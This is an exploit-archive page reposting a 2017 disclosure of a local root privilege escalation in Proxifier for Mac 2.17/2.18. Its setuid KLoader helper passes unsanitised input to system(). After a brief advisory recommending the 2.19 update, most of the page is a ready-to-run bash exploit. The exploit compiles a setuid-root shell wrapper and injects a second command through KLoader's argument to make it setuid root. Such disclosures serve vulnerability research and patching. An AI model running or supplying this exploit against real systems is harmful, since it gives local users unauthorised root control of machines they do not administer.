首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Proxifier for Mac 2.17 / 2.18 - Privesc Escalation
来源:https://m4.rkw.io 作者:Wadham 发布时间:2017-04-12  
# Source: https://m4.rkw.io/blog/cve20177643-local-root-privesc-in-proxifier-for-mac--218.html
 
Proxifier 2.18 (also 2.17 and possibly some earlier version) ships with a
KLoader binary which it installs suid root the first time Proxifier is run. This
binary serves a single purpose which is to load and unload Proxifier's kernel
extension.
 
Unfortunately it does this by taking the first parameter passed to it on the
commandline without any sanitisation and feeding it straight into system().
 
This means not only can you load any arbitrary kext as a non-root user but you
can also get a local root shell.
 
Although this is a bit of a terrible bug that shouldn't be happening in 2017,
Proxifier's developers fixed the issue in record time so that's something!
 
Everyone using Proxifier for Mac should update to 2.19 as soon as possible.
 
https://m4.rkw.io/proxifier_privesc.sh.txt
6040180f672a2b70511a483e4996d784f03e04c624a8c4e01e71f50709ab77c3
-------------------------------------------------------------------
 
#!/bin/bash
 
#####################################################################
# Local root exploit for vulnerable KLoader binary distributed with #
# Proxifier for Mac v2.18                                           #
#####################################################################
# by m4rkw                                                          #
#####################################################################
 
cat > a.c <<EOF
#include <stdio.h>
#include <unistd.h>
 
int main()
{
  setuid(0);
  seteuid(0);
 
  execl("/bin/bash", "bash", NULL);
  return 0;
}
EOF
 
gcc -o /tmp/a a.c
rm -f a.c
/Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel /tmp/a ; chmod 4755 /tmp/a'
/tmp/a
 
-------------------------------------------------------------------
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Wordpress webplayer Plugins SQ
·Adobe Multiple Products - XML
·Moxa MX AOPC-Server 1.5 - XML
·Quest Privilege Manager 6.0.0
·Moxa MXview 2.8 - Denial of Se
·Brother MFC-J6520DW - Authenti
·Moxa MXview 2.8 - Private Key
·Apple WebKit / Safari 10.0.3 (
·CyanogenMod 12 Stagefright (.M
·Apple WebKit / Safari 10.0.3 (
·Moodle 2.x/3.x - SQL Injection
·Apple WebKit - 'JSC::B3::Proce
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved